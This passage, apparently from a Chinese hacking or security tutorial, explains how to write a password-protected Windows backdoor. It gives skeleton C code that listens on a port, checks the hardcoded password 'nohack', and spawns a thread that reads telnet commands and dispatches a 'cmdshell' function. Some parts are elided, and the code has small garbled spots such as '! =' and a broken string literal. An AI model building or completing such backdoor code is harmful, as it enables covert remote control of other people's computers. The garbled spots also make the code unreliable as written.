为解决这个问题,可把收到的字符累加。当收到回车符后把累加的字符串与后门中定义的字符串相比较,以确定执行哪项功能。当执行完毕后,再把用于存储累加字符串的变量清空,以便继续接收新的字符串。这样就解决了telnet连接的问题。
密码验证过程也是一个接收数据进行比较的过程,其具体框架代码如下。
int main(int argc, char* argv[]) { ……//初始化socket,并且监听端口 sClient[i] =accept(sListen, NULL, NULL); //接收连接 send(sClient[i], "PassWord:\r\n", strlen("PassWord:\r\n"),0); while(true) { //每次接收一个字符 if(ret=recv(sClient[i], buff,1,0)==SOCKET_ERROR) { closesocket(sClient[i]); return 0; } //收到回车符则跳出循环 if(buff[0]==0xa) { break; } //过滤回车符 if( buff[0]! =0xa&& buff[0]! =0xd) strcat(PassWord, buff); } //假如密码正确则创建后门线程 if(strcmp(PassWord, "nohack")==0) { //创建后门线程 CreateThread(NULL, NULL, DoorThread, (LPVOID)sClient[i], 0, &dwThreadId); //发送欢迎消息 send(sClient[i], wMessage, strlen(wMessage),0); } //密码错误则断开连接 else { send(sClient[i], "\r\n密码错误\r\n", strlen("\r\n密码错误\r\ n"),0); closesocket(sClient[i]); } } return 0; }
在接收连接之后进行密码验证,如果验证成功,则会启动一个线程接收数据,再进行对比以确定执行相应的功能函数。其具体的框架代码如下。
int main(int argc, char* argv[]) { ……//初始化socket,并且监听端口 sClient[i] =accept(sListen, NULL, NULL); //接收连接 …….//密码验证 //如果验证成功则创建后门线程 CreateThread(NULL, NULL, DoorThread, (LPVOID)sClient[i],0, &dwThreadId); } //后门线程函数 DWORD WINAPI DoorThread( LPVOID lpParam ) { while(true) { while(true) { //每次接收一个字符 if(ret=recv(s, buff,1,0)==SOCKET_ERROR) { closesocket(s); return 0; } //假如是回车则跳出循环 if(buff[0]==0xa) { break; } //假如不是回车就把字符累加给DoorData if( buff[0]! =0xa&& buff[0]! =0xd) strcat(DoorData, buff); } if(strncmp(DoorData, "cmdshell",8)==0) { …….//执行cmd功能函数 } ……….执行后门其他功能 } }